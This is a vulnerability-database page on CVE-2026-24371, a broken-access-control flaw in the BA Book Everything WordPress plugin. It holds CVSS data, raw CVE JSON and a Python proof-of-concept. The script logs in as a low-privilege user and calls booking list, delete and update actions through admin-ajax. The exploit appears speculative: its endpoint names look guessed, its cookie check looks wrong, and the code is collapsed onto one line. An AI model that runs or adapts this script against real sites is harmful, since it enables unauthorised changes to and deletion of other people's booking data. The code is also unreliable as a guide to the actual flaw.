Security Vulnerability Report
中文
CVE-2026-24371 CVSS 4.3 MEDIUM

CVE-2026-24371

Published: 2026-01-22 17:16:40
Last Modified: 2026-04-28 15:16:07

Description

Missing Authorization vulnerability in bookingalgorithms BA Book Everything ba-book-everything allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects BA Book Everything: from n/a through <= 1.8.16.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ba-book-everything WordPress插件 <= 1.8.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-24371 PoC - BA Book Everything Broken Access Control # Target: WordPress site with ba-book-everything plugin <= 1.8.16 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wordpress_nonce(url, cookie): """Attempt to get a valid nonce from the target site""" response = requests.get(f"{url}/wp-admin/", cookies=cookie, timeout=10) # Try to extract nonce from page content import re nonce_match = re.search(r'data-nonce="([a-f0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_broken_access_control(): """ Exploit CVE-2026-24371: Missing Authorization in ba-book-everything This PoC demonstrates accessing admin functions with low-privilege user """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } login_url = f"{TARGET_URL}/wp-login.php" response = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Logged in successfully with low-privilege account") # Step 2: Try to access protected booking management functions # These should require admin privileges but don't have proper checks vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=ba_get_bookings", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=ba_delete_booking&id=1", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=ba_update_booking&id=1" ] for endpoint in vulnerable_endpoints: try: resp = session.get(endpoint, timeout=10) if resp.status_code == 200 and 'success' in resp.text: print(f"[+] Access granted to: {endpoint}") print(f" Response: {resp.text[:200]}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return True if __name__ == "__main__": print("CVE-2026-24371 PoC - BA Book Everything Broken Access Control") print("=" * 60) exploit_broken_access_control()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24371", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:40.423", "lastModified": "2026-04-28T15:16:07.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bookingalgorithms BA Book Everything ba-book-everything allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects BA Book Everything: from n/a through <= 1.8.16."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en bookingalgorithms BA Book Everything ba-book-everything permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a BA Book Everything: desde n/a hasta &lt;= 1.8.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ba-book-everything/vulnerability/wordpress-ba-book-everything-plugin-1-8-16-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}